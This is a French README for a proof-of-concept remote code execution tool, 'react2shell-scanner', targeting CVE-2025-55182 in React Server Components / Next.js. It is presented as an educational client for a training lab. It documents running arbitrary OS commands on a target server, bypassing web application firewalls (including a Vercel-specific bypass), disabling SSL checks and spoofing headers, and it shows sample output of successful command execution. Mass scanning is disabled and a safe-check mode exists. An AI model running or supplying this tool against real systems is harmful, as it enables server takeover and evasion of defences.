
Détection basée sur la précision des vulnérabilités d'exécution de code à distance RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – PoC d’exécution de code à distance (RCE) sur les composants React côté serveur
Client d’exploitation éducatif pour le laboratoire React2Shell de Hidden Investigations.
Ce dépôt contient un outil d’exploitation (PoC) mono-hôte pour la vulnérabilité React2Shell (CVE-2025-55182) ciblant des applications React Server Components / Next.js mal configurées.
Il est conçu pour être utilisé uniquement contre le laboratoire officiel Hidden Investigations React2Shell lab ou des systèmes que vous possédez ou administrez explicitement.
Ce projet est fourni strictement à des fins éducatives et de recherche défensive en sécurité :
En utilisant cet outil, vous acceptez de respecter toutes les lois et réglementations applicables.
whoami)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, en-têtes personnalisées)-o/--output, --all-results)requestsInstallez les dépendances via :
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # Sous Windows : venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Aide de base :
python3 react2shell-scanner.py -h
L’outil nécessite une URL cible :
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# ou
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Si vous l’exécutez sans -t/--target ou -u/--url, il affiche un message d’aide personnalisé et se termine.
| Option | Description | Valeur par défaut |
|---|---|---|
-t, --target | URL ou domaine cible (obligatoire si --url non utilisé) | Aucun |
-u, --url | Alias pour --target (style Assetnote) | Aucun |
--path | Chemin à tester (peut être utilisé plusieurs fois, ex. /, /_next) | / |
--path-file | Fichier contenant des chemins à tester (un par ligne) | Aucun |
Note : Ce PoC est mono-hôte uniquement. L’option
-l/--listest présente mais intentionnellement désactivée.
| Option | Description | Valeur par défaut |
|---|---|---|
-c, --command | Commande à exécuter sur la cible (en cas de succès de l’exploitation) | id |
--safe-check | Utiliser une charge SAFE_CHECK (pas de commande OS, juste une chaîne de marquage) | désactivé |
--windows | Adapter les valeurs par défaut pour les cibles Windows (ex. utiliser whoami si commande id) | désactivé |
--waf-bypass | Ajouter un grand champ multipart de remplissage au corps de la requête pour contourner le WAF | désactivé |
--waf-bypass-size KB | Taille du champ de remplissage en Ko lors de l’utilisation de --waf-bypass | 128 |
--vercel-waf-bypass | Utiliser une disposition multipart alternative pour modifier le comportement WAF de Vercel (PoC simplifié) | désactivé |
| Option | Description | Valeur par défaut |
|---|---|---|
--timeout SECONDS | Délai d’expiration de la requête en secondes | 15 (ou 20 si --waf-bypass et aucun délai défini) |
-k, --insecure | Désactiver la vérification SSL (comme curl -k) | désactivé |
-H, --header | En-tête personnalisé, ex. -H "X-Forwarded-For: 127.0.0.1" (répétable) | Aucun |
| Option | Description | Valeur par défaut |
|---|---|---|
-o, --output FILE | Écrire les résultats JSON dans le FILE | Aucun |
--all-results | Lors de l’utilisation de --output, inclure également les résultats non vulnérables | désactivé |
-v, --verbose | Mode verbeux – afficher le statut HTTP et l’en-tête X-Action-Redirect | désactivé |
-q, --quiet | Mode silencieux – n’affiche que la sortie normalisée de la commande en cas de succès | désactivé |
--no-color | Désactiver la sortie colorée du terminal | désactivé |
Exemple de mode silencieux (sortie propre et multi-lignes) :
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Sortie :
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
Les options suivantes existent pour refléter l’interface en ligne de commande d’Assetnote, mais ne sont pas implémentées dans ce PoC pour éviter une utilisation abusive du scan de masse :
| Option | Statut |
|---|---|
-l, --list | Non implémenté |
--threads N | Non implémenté |
Si vous utilisez -l/--list, l’outil affichera un avertissement et se terminera, suggérant d’utiliser le react2shell-scanner original d’Assetnote pour un scan de masse sécurisé à grande échelle.
Exécution contre un laboratoire local :
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
Utilisation du contournement WAF avec un champ de remplissage plus grand :
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
Plusieurs chemins sur le même hôte :
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
Chemins depuis un fichier :
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
Mode vérification sécurisé (aucune commande OS exécutée) :
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
Sortie JSON des résultats dans un fichier :
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
Lorsque -o/--output est utilisé, l’outil écrit un tableau d’objets comme :
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner.Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.
📬 Contactez-nous : [email protected]